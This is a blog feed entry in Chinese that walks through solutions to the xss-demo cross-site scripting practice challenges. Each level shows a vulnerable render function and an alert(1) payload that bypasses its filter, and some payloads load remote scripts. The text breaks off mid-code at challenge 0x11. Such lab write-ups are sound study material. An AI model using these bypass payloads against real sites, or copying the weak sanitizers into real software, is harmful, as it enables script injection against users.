<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>未名</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <icon>https://wmcoder.net/favicon.png</icon>
  <id>https://wmcoder.net/</id>
  <link href="https://wmcoder.net/" rel="alternate"/>
  <link href="https://wmcoder.net/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 未名</rights>
  <subtitle>一点浩然气，千里快哉风</subtitle>
  <title>未名编程</title>
  <updated>2021-07-17T04:00:00.000Z</updated>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="网络安全" scheme="https://wmcoder.net/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="网络安全" scheme="https://wmcoder.net/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<h1 id="xss-demo刷题记录"><a href="#xss-demo刷题记录" class="headerlink" title="xss-demo刷题记录"></a><a href="https://github.com/haozi/xss-demo" target="_blank" rel="noopener">xss-demo</a>刷题记录</h1><p>网址：<a href="https://xss.haozi.me/" target="_blank" rel="noopener">https://xss.haozi.me/</a></p><blockquote><p>原文运行截图所在的旧对象存储已经失效。本文保留题目、代码和解题思路，截图不再展示。</p></blockquote><h2 id="相关知识"><a href="#相关知识" class="headerlink" title="相关知识"></a>相关知识</h2><h2 id="刷题记录"><a href="#刷题记录" class="headerlink" title="刷题记录"></a>刷题记录</h2><h3 id="0x00"><a href="#0x00" class="headerlink" title="0x00"></a>0x00</h3><h4 id="server-code"><a href="#server-code" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token string">'&lt;div>'</span> <span class="token operator">+</span> input <span class="token operator">+</span> <span class="token string">'&lt;/div>'</span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code"><a href="#input-code" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span>script<span class="token operator">></span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span></code></pre><h4 id="解释"><a href="#解释" class="headerlink" title="解释"></a>解释</h4><p>在标签内且无过滤。</p><h4 id="运行截图"><a href="#运行截图" class="headerlink" title="运行截图"></a>运行截图</h4><h3 id="0x01"><a href="#0x01" class="headerlink" title="0x01"></a>0x01</h3><h4 id="server-code-1"><a href="#server-code-1" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token string">'&lt;textarea>'</span> <span class="token operator">+</span> input <span class="token operator">+</span> <span class="token string">'&lt;/textarea>'</span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-1"><a href="#input-code-1" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span><span class="token operator">/</span>textarea<span class="token operator">></span><span class="token operator">&lt;</span>script<span class="token operator">></span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span></code></pre><h4 id="解释-1"><a href="#解释-1" class="headerlink" title="解释"></a>解释</h4><blockquote><p>文本框标签中无法弹窗，所以先闭合 <code>&lt;textarea&gt;</code> 标签。</p></blockquote><h4 id="运行截图-1"><a href="#运行截图-1" class="headerlink" title="运行截图"></a>运行截图</h4><h3 id="0x02"><a href="#0x02" class="headerlink" title="0x02"></a>0x02</h3><h4 id="server-code-2"><a href="#server-code-2" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token string">'&lt;input type="name" value="'</span> <span class="token operator">+</span> input <span class="token operator">+</span> <span class="token string">'">'</span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-2"><a href="#input-code-2" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript">"<span class="token operator">></span><span class="token operator">&lt;</span>svg<span class="token operator">/</span>onload<span class="token operator">=</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">></span></code></pre><h4 id="解释-2"><a href="#解释-2" class="headerlink" title="解释"></a>解释</h4><blockquote><p>插入的代码在input标签的value属性中，可以直接闭合input标签。</p></blockquote><h4 id="运行截图-2"><a href="#运行截图-2" class="headerlink" title="运行截图"></a>运行截图</h4><h3 id="0x03"><a href="#0x03" class="headerlink" title="0x03"></a>0x03</h3><h4 id="server-code-3"><a href="#server-code-3" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> stripBracketsRe <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[()]</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span>  input <span class="token operator">=</span> input<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span>stripBracketsRe<span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> input<span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-3"><a href="#input-code-3" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span>script<span class="token operator">></span>alert<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">1</span><span class="token template-punctuation string">`</span></span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span></code></pre><h4 id="解释-3"><a href="#解释-3" class="headerlink" title="解释"></a>解释</h4><blockquote><p>过滤了圆括号。</p><p>模板字符串紧跟在函数名后面，该函数将被调用来处理这个模板字符串。</p><p>模板字符串使用反引号来代替普通字符串中的双引号和单引号。</p></blockquote><h4 id="运行结果"><a href="#运行结果" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x04"><a href="#0x04" class="headerlink" title="0x04"></a>0x04</h3><h4 id="server-code-4"><a href="#server-code-4" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> stripBracketsRe <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[()`]</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span>  input <span class="token operator">=</span> input<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span>stripBracketsRe<span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> input<span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-4"><a href="#input-code-4" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span>script<span class="token operator">></span>window<span class="token punctuation">.</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span><span class="token string">'=alert\x281\x29'</span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">&lt;</span>iframe srcdoc<span class="token operator">=</span><span class="token string">"&lt;script>parent.alert&amp;#40;1&amp;#41;&lt;/script>"</span><span class="token operator">&lt;</span>svg<span class="token operator">></span><span class="token operator">&lt;</span>script<span class="token operator">></span>alert<span class="token operator">&amp;</span>#<span class="token number">40</span><span class="token punctuation">;</span><span class="token number">1</span><span class="token operator">&amp;</span>#<span class="token number">41</span><span class="token operator">&lt;</span><span class="token operator">/</span>script</code></pre><h4 id="解释-4"><a href="#解释-4" class="headerlink" title="解释"></a>解释</h4><blockquote><ul><li><p>过滤了圆括号和反引号。</p></li><li><p><code>&lt;svg&gt;</code> 标签中可以直接执行 HTML 实体字符。</p></li><li><p>或者 <code>&lt;iframe&gt;</code> 标签的 <code>srcdoc</code> 里面的内容可以直接在 HTML 中显示出来。</p></li></ul></blockquote><h4 id="运行结果-1"><a href="#运行结果-1" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x05"><a href="#0x05" class="headerlink" title="0x05"></a>0x05</h3><h4 id="server-code-5"><a href="#server-code-5" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  input <span class="token operator">=</span> input<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">--></span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'😂'</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> <span class="token string">'&lt;!-- '</span> <span class="token operator">+</span> input <span class="token operator">+</span> <span class="token string">' -->'</span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-5"><a href="#input-code-5" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">--</span><span class="token operator">!</span><span class="token operator">></span><span class="token operator">&lt;</span>script<span class="token operator">></span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span></code></pre><h4 id="解释-5"><a href="#解释-5" class="headerlink" title="解释"></a>解释</h4><blockquote><p>将–&gt;替换成表情，并且输入的内容在注释中输出。</p><p>HTML 有两种注释方法：<code>&lt;!--注释--&gt;</code> 和 <code>&lt;!--注释--!&gt;</code>，这里可以用对称感叹号的方法注释。</p></blockquote><h4 id="运行结果-2"><a href="#运行结果-2" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x06"><a href="#0x06" class="headerlink" title="0x06"></a>0x06</h3><h4 id="server-code-6"><a href="#server-code-6" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  input = input.replace(/auto|on.*=|&gt;/ig, &#39;_&#39;)  return `&lt;input value=1 $&amp;#123;input&amp;#125; type=&quot;text&quot;&gt;`&amp;#125;</code></pre><h4 id="input-code-6"><a href="#input-code-6" class="headerlink" title="input code"></a>input code</h4><pre><code class="language-js">type=image src onerror=alert(1)</code></pre><h4 id="解释-6"><a href="#解释-6" class="headerlink" title="解释"></a>解释</h4><blockquote><p>将以anto或者on开头，并且以等号结尾的标签属性替换成_ ，这里可以用换行。</p></blockquote><h4 id="运行结果-3"><a href="#运行结果-3" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x07"><a href="#0x07" class="headerlink" title="0x07"></a>0x07</h3><h4 id="server-code-7"><a href="#server-code-7" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  const stripTagsRe = /&lt;\/?[^&gt;]+&gt;/gi  input = input.replace(stripTagsRe, &#39;&#39;)  return `&lt;article&gt;$&amp;#123;input&amp;#125;&lt;/article&gt;`&amp;#125;</code></pre><h4 id="input-code1"><a href="#input-code1" class="headerlink" title="input code1"></a>input code1</h4><pre><code class="language-js">&lt;body onload=&quot;alert(1)&quot;</code></pre><h4 id="解释1"><a href="#解释1" class="headerlink" title="解释1"></a>解释1</h4><blockquote><p>将以 <code>&lt;</code> 开头、<code>&gt;</code> 结尾并且忽略大小写的字符替换成空。</p><p>可以利用浏览器的容错，去掉&gt;。</p></blockquote><h4 id="运行截图1"><a href="#运行截图1" class="headerlink" title="运行截图1"></a>运行截图1</h4><h4 id="input-code2"><a href="#input-code2" class="headerlink" title="input code2"></a>input code2</h4><pre><code class="language-js">&lt;svg/onload=alert(1)</code></pre><h4 id="解释2"><a href="#解释2" class="headerlink" title="解释2"></a>解释2</h4><h4 id="运行截图2"><a href="#运行截图2" class="headerlink" title="运行截图2"></a>运行截图2</h4><h4 id="运行结果-4"><a href="#运行结果-4" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x08"><a href="#0x08" class="headerlink" title="0x08"></a>0x08</h3><h4 id="server-code-8"><a href="#server-code-8" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (src) &amp;#123;  src = src.replace(/&lt;\/style&gt;/ig, &#39;/* \u574F\u4EBA */&#39;)  return `    &lt;style&gt;      $&amp;#123;src&amp;#125;    &lt;/style&gt;  `&amp;#125;</code></pre><h4 id="input-code-7"><a href="#input-code-7" class="headerlink" title="input code"></a>input code</h4><pre><code class="language-js">&lt;/style &gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></pre><h4 id="解释-7"><a href="#解释-7" class="headerlink" title="解释"></a>解释</h4><blockquote><p>将 <code>&lt;/style&gt;</code> 替换成 <code>\u574F\u4EBA</code>，利用换行绕过。</p></blockquote><h4 id="运行结果-5"><a href="#运行结果-5" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x09"><a href="#0x09" class="headerlink" title="0x09"></a>0x09</h3><h4 id="server-code-9"><a href="#server-code-9" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  let domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) &amp;#123;    return `&lt;script src=&quot;$&amp;#123;input&amp;#125;&quot;&gt;&lt;/script&gt;`  &amp;#125;  return &#39;Invalid URL&#39;&amp;#125;</code></pre><h4 id="input-code-8"><a href="#input-code-8" class="headerlink" title="input code"></a>input code</h4><pre><code class="language-js">https://www.segmentfault.com/&quot; onload=alert(1)&gt;</code></pre><h4 id="解释-8"><a href="#解释-8" class="headerlink" title="解释"></a>解释</h4><blockquote><p>要求以<a href="https://www.segmentfault.com开头的输入,否则失败.并且输入的url在script标签的src属性里面,还需要将这个标签闭合./" target="_blank" rel="noopener">https://www.segmentfault.com开头的输入，否则失败。并且输入的url在script标签的src属性里面，还需要将这个标签闭合。</a></p></blockquote><h4 id="运行结果-6"><a href="#运行结果-6" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x0A"><a href="#0x0A" class="headerlink" title="0x0A"></a>0x0A</h3><h4 id="server-code-10"><a href="#server-code-10" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  function escapeHtml(s) &amp;#123;    return s.replace(/&amp;/g, &#39;&amp;amp;&#39;)            .replace(/&#39;/g, &#39;&amp;#39;&#39;)            .replace(/&quot;/g, &#39;&amp;quot;&#39;)            .replace(/&lt;/g, &#39;&amp;lt;&#39;)            .replace(/&gt;/g, &#39;&amp;gt;&#39;)            .replace(/\//g, &#39;&amp;#x2f&#39;)  &amp;#125;  const domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) &amp;#123;    return `&lt;script src=&quot;$&amp;#123;escapeHtml(input)&amp;#125;&quot;&gt;&lt;/script&gt;`  &amp;#125;  return &#39;Invalid URL&#39;&amp;#125;</code></pre><h4 id="input-code-9"><a href="#input-code-9" class="headerlink" title="input code"></a>input code</h4><pre><code class="language-js">https://www.segmentfault.com.wmcoder.site/j.js</code></pre><h4 id="解释-9"><a href="#解释-9" class="headerlink" title="解释"></a>解释</h4><blockquote><p>对很多符号进行了转义，例如 <code>&amp;</code>、<code>&#39;</code>、<code>&quot;</code>、<code>&lt;</code>、<code>&gt;</code>、<code>/</code> 都转义成了 HTML 实体编码，HTML 实体编码在 HTML 标签的属性中可以直接进行解析。并且匹配了以 <a href="https://www.segmentfault.com/" target="_blank" rel="noopener">https://www.segmentfault.com</a> 开头的 URL。当我们访问 <a href="https://www.baidu.com@www.sina.com/" target="_blank" rel="noopener">https://www.baidu.com@www.sina.com</a> 的时候，实际访问的是 <a href="https://www.sina,com.所以这里可以用指定的/" target="_blank" rel="noopener">https://www.sina,com。所以这里可以用指定的</a> URL 开头，再用 <code>@</code> 符号执行自己的 JavaScript，其中包含弹窗代码。</p></blockquote><h4 id="运行结果-7"><a href="#运行结果-7" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x0B"><a href="#0x0B" class="headerlink" title="0x0B"></a>0x0B</h3><h4 id="server-code-11"><a href="#server-code-11" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  input = input.toUpperCase()  return `&lt;h1&gt;$&amp;#123;input&amp;#125;&lt;/h1&gt;`&amp;#125;</code></pre><h4 id="input-code-10"><a href="#input-code-10" class="headerlink" title="input code"></a>input code</h4><pre><code class="language-js">&lt;img src=&quot;x&quot; onerror=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;1&amp;#41;&gt;</code></pre><h4 id="解释-10"><a href="#解释-10" class="headerlink" title="解释"></a>解释</h4><blockquote><p>输入的内容全部变成大写。在html标签和url中不区分大小写，但是js严格区分大小写。</p><p>所以我们可以在标签的属性内用<a href="https://xss.haozi.me/j.js" target="_blank" rel="noopener">https://xss.haozi.me/j.js</a> 这里面的脚本来进行弹窗，或者是用alert(1)的时候进行编码，可以转成html编码。</p></blockquote><h4 id="运行结果-8"><a href="#运行结果-8" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x0C"><a href="#0x0C" class="headerlink" title="0x0C"></a>0x0C</h3><h4 id="server-code-12"><a href="#server-code-12" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  input = input.replace(/script/ig, &#39;&#39;)  input = input.toUpperCase()  return &#39;&lt;h1&gt;&#39; + input + &#39;&lt;/h1&gt;&#39;&amp;#125;</code></pre><h4 id="input-code-11"><a href="#input-code-11" class="headerlink" title="input code"></a>input code</h4><pre><code class="language-js">&lt;img src=1 onerror=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&amp;#10;&gt;</code></pre><h4 id="解释-11"><a href="#解释-11" class="headerlink" title="解释"></a>解释</h4><blockquote><p>把script替换成空，输入全部大写。</p><p>这里我们可以不用script标签</p></blockquote><h4 id="运行结果-9"><a href="#运行结果-9" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x0D"><a href="#0x0D" class="headerlink" title="0x0D"></a>0x0D</h3><h4 id="server-code-13"><a href="#server-code-13" class="headerlink" title="server code"></a>server code</h4><pre><code class="language-js">function render (input) &amp;#123;  input = input.replace(/[&lt;/&quot;&#39;]/g, &#39;&#39;)  return `    &lt;script&gt;          // alert(&#39;$&amp;#123;input&amp;#125;&#39;)    &lt;/script&gt;  `&amp;#125;</code></pre><h4 id="input-code-12"><a href="#input-code-12" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript">'<span class="token punctuation">)</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">--</span><span class="token operator">></span></code></pre><h4 id="解释-12"><a href="#解释-12" class="headerlink" title="解释"></a>解释</h4><blockquote><p>将符号 <code>&lt;</code>、<code>/</code>、<code>&quot;</code>、<code>&#39;</code> 替换成空，并且输入的内容是注释，这里可以用换行绕过。再用 HTML 注释符 <code>--&gt;</code> 注释掉后面的单引号和圆括号。</p></blockquote><h4 id="运行结果-10"><a href="#运行结果-10" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x0E"><a href="#0x0E" class="headerlink" title="0x0E"></a>0x0E</h3><h4 id="server-code-14"><a href="#server-code-14" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  input <span class="token operator">=</span> input<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">&lt;([a-zA-Z])</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&lt;_$1'</span><span class="token punctuation">)</span>  input <span class="token operator">=</span> input<span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> <span class="token string">'&lt;h1>'</span> <span class="token operator">+</span> input <span class="token operator">+</span> <span class="token string">'&lt;/h1>'</span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-13"><a href="#input-code-13" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span>ſcript src<span class="token operator">=</span><span class="token string">"https://xss.haozi.me/j.js"</span><span class="token operator">></span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span></code></pre><h4 id="解释-13"><a href="#解释-13" class="headerlink" title="解释"></a>解释</h4><blockquote><p>将 &lt; 开头的不管后面是什么字母都通通加上一个_ ，所以所有的标签都不能用。</p><p>字符ſ大写后为S。</p></blockquote><h4 id="运行结果-11"><a href="#运行结果-11" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x0F"><a href="#0x0F" class="headerlink" title="0x0F"></a>0x0F</h3><h4 id="server-code-15"><a href="#server-code-15" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">function</span> <span class="token function">escapeHtml</span><span class="token punctuation">(</span><span class="token parameter">s</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> s<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">&amp;</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&amp;amp;'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&amp;#39;'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">"</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&amp;quot;'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">&lt;</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&amp;lt;'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">></span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&amp;gt;'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\/</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'&amp;#x2f;'</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;img src onerror="console.error('</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span><span class="token function">escapeHtml</span><span class="token punctuation">(</span>input<span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">')"></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-14"><a href="#input-code-14" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token string">');alert('</span><span class="token number">1</span></code></pre><h4 id="解释-14"><a href="#解释-14" class="headerlink" title="解释"></a>解释</h4><blockquote><p>对字符 <code>&amp;</code>、<code>&#39;</code>、<code>&quot;</code>、<code>&lt;</code>、<code>&gt;</code>、<code>/</code> 进行 HTML 编码。输入内容在 <code>img</code> 标签中，所以编码没有影响。内容在 <code>console.error</code> 中，可以闭合 <code>console.error</code>，并在 <code>onerror</code> 属性中添加一个 <code>alert</code>。</p></blockquote><h4 id="运行结果-12"><a href="#运行结果-12" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x10"><a href="#0x10" class="headerlink" title="0x10"></a>0x10</h3><h4 id="server-code-16"><a href="#server-code-16" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">input</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>  window.data = </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>input<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">&lt;/script>  </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-15"><a href="#input-code-15" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token string">''</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></code></pre><h4 id="解释-15"><a href="#解释-15" class="headerlink" title="解释"></a>解释</h4><blockquote><p>没有过滤，在script标签中直接执行。</p></blockquote><h4 id="运行结果-13"><a href="#运行结果-13" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x11"><a href="#0x11" class="headerlink" title="0x11"></a>0x11</h3><h4 id="server-code-17"><a href="#server-code-17" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// from alf.nu</span><span class="token keyword">function</span> <span class="token function">render</span> <span class="token punctuation">(</span><span class="token parameter">s</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">function</span> <span class="token function">escapeJs</span> <span class="token punctuation">(</span><span class="token parameter">s</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">String</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\\</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\\\'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\\''</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">"</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\"'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">`</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\`'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">&lt;</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\74'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">></span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\76'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\/</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\/'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token 